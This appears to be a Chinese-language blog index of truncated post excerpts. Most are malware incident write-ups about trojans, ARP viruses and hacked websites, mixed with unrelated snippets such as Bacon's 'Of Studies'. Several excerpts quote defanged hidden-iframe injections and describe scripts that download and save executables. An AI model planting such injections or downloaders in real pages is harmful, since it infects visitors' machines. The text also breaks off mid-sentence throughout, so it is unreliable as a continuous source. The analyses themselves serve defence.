其他

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<;FileName: FileTime.asm;Function: Show the last write time of file "C:/IO.SYS";  Auth

來源：新華網　　國家電腦病毒應急處理中心３日介紹，微軟最近公布了一些很重要的系統漏洞補丁，電腦使用者要根據自己的系統情況及時下載安裝這些補丁程式，防止惡意攻擊現象的出現。　　微軟已經發布的漏洞補丁MS05-030:Outlook Express允許遠程執行代碼漏洞，該漏洞如果被惡意攻擊者利用，攻擊者就可以在受控電腦上安裝程式，同時查看、修改或刪除資料，最後建立具有進階管理員權利的新帳號。

ARP病毒加入的網址傳播 Trojan.PSW.Win32.OnlineGames,Trojan.DL.Win32.Agent.xaaendurer 原創2007-08-28 第1版昨天單位又有電腦中了ARP病毒，開啟任一網頁時，Kaspersky 總報告已檢測到: 木馬程式 Trojan-Downloader.JS.Psyme.kf。中午因為幫網友檢修電腦（見： 遭遇一堆 Trojan.PSW.Win32.OnlineGames / *door0.dll等1

OF STUDIESFrancis BaconStudies serve for delight, for ornament, and for ability.　Their chief usefor delight, is in privateness and retiring; for ornament, is in discourse;and for ability, is in the judgment and disposition of business.For expert and

Why data encryption is no substitute for comprehensive security為什麼資料加密不能代替綜合安全《endurer註：1。substitute for 代替...；替換..., 取代...》by  Jonathan Yarden作者：Jonathan Yarden翻譯：endurer 2006-06-06

Usability vs. user experience可用性 vs. 使用者體驗Author: Justin James作者：Justin James翻譯：PurpleEndurer 2008-03-28 第1版Category: User Experience, Usability分類：使用者體驗，可用性Tags: Experience, User, User Experience, Nothing, Search, Justin James標籤：體驗，使用者，使用者體驗，Nothing，

endurer 原創2007-01-06 第1版網站首頁被加入＜iframe＞代碼，引入網頁　he1p.html。he1p.html　的內容為填入多餘空格的VBScript指令碼代碼，分為兩個部分。第1部分功能為：利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下載檔案 01.exe，儲存為C:/windows/gz.exe。01.exe  採用 nSPack 1.3 -> North Star/Liu Xing Ping 加殼。/---

endurer　原創2005.12.07　第　1　版　　開機時瑞星即時監控啟動拖後一直被抵毀瑞星者當做的一個例證。　　今天偶想了想，為瑞星即時監控拖後啟動找到了一個理由。　　這個理由就是：　　讓瑞星即時監控與其他開機自啟動程式並發運行，並不能保證能掃描到所有的開機啟動項程式及其所調用檔案。　　所以瑞星即時監控拖後啟動，是要等其它開機啟動項都啟動完成後，再通過記憶體掃描來檢測是否有病毒進程或病毒模組(如DLL)，如果發現則儘可能清除，不能清除也可以向使用者警示，從而保障系統安全。　　如果使用者擔心

遭遇Trojan.DL.Win32.Autorun.yuz,Trojan.Win32.Inject.gh,Trojan.Win32.Agent.zsq等 endurer 原創2007-10-23 第1版pe_xscan 07-08-30 by Purple Endurer2007-10-22 13:13:44Windows XP Service Pack 2(5.1.2600)管理使用者組C:/WINDOWS/system32/winlogon.exe * 604 | 2004-8-8 4:0:

偶遇 649453.sys / Adware.Cdn / Hacktool.Rootkitendurer 原創2007-09-04 第1版一位網友說最近他的電腦工作速度很慢，讓偶通過QQ遠程協助處理。下載 pe_xscan 掃描 log 並分析，只發現一個可疑項：/===pe_xscan 07-08-30 by Purple Endurer2007-9-4 20:58:58Windows XP Service Pack 2(5.1.2600)管理使用者組O23 - 服務: 649453 (649

數位相機儲存卡居然帶system.exe / Virus.Win32.Delf.an / Dropper.Gpigeon.fcendurer 原創2007-10-16 第1版今天用讀卡機 讀取 相機儲存卡中的PP，不想卡裡居然有 autorun.inf  和

作者： techrepublic.com.com最近，FBI向人們證明了這樣一個事實，人們可以很容易的分析攻擊有線等效加密，從而可以獲得那些使用了這個安全性通訊協定的無線網路的訪問權。根據這個公告，Jonathan

　　想不到收假回來，上班第一天就收到了瑞星寄來的包裹單……下午去領了，開啟一看，又是一隻卡卡獅，此外還有一條筆~　　卡卡獅與去年收到的那隻相似：PP中的這個卡卡獅是去年收到的，PP是卡卡社區反病毒論壇版主baohe拍的本來想把反病毒論壇版主mopery拍的帶有那支筆的PP轉過來，後來發現那張PP中的卡卡獅有點問題…… 　　去年偶很少去瑞星卡卡社區了，受之有愧呀~汗！ 

endurer 原創2006-12-18 第1版網站首頁被加入代碼：/----------＜iFrAmE SRc＝hxxp://*58.215.*65.2*1/*****/k.htm width＝1 height＝1 frameborder＝0＞＜/IfRaMe＞---------/k.htm Kaspersky報為Trojan-Downloader.JS.Agent.bz，其內容可以分為4段。第1段:利用 Microsoft.XMLHTTP 和

endurer 原創2007-03-05 第1版開啟該城市地圖網站的網頁，瑞星警告發現：Hack.Exploit.Vml.g。檢查網頁，發現網頁所引用的 images/ad.js 包含代碼：/---document.writeln("＜iframe src=/"hxxp:////m***m**.k****is*163.com//index.html?id=5 /" width=0

endurer 原創2006-12-15 第1版 論壇首被加入代碼：/--------＜iframe src=hxxp://www.z*z***yqr.com.**/lpf/wm.htm width=0 height=0 frameborder=0＞＜/iframe＞--------/wm.htm 的內容為JavaScript指令碼程式，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下載檔案 /mc/game/lpf.exe，儲存為

endurer 原創2007-03-16 第1版 在瀏覽網頁時，瑞星網頁監控提示發現Trojan.DL.VBS.Agent.cex。檢查該網頁，發現包含代碼：/---＜iframe src="hxxp://www.ho***p*esoft.net/fa*n**ku*i/indqlg.htm" width="0" height="0" frameborder="no" border="0"marginwidth="0" marginheight="0"

endurer 原創2007-02-28 第1版該網站的網頁末被加入代碼：/------＜iframe src=hxxp://user**.f**r**e*e.7***7169.net/y**j*1*6***6/xskj.htm width=0 height=0＞＜/iframe＞＜iframe src=hxxp://user**.f**r**e*e.7***7169.net/y**j*1*6***6/kh0.htm width=0 height=0＞＜/iframe＞＜script

endurer 原創2007-02-06 第1版一位網友的電腦，最近瑞星經常報告：/---病毒名稱   處理結果    掃描方式       路徑     檔案     病毒來源Trojan.DL.Getou.a    清除成功    手動掃描            IEXPLORE.EXE>>C:/program files/internet explorer/IEXPLORE.EXE    本機---/ 讓偶幫忙檢查一下。 用 pe_xscan

endurer 原創2007-03-07 第1版該網站首頁包含代碼：＜iframe src=hxxp://www***1.8***93**8*2.cn/5***1**.htm width=0 height=0＞hxxp://www***1.8***93**8*2.cn/5***1**.htm 包含代碼：/---＜script src=css.js＞＜/script＞---/hxxp://www***1.8***93**8*2.cn/css.js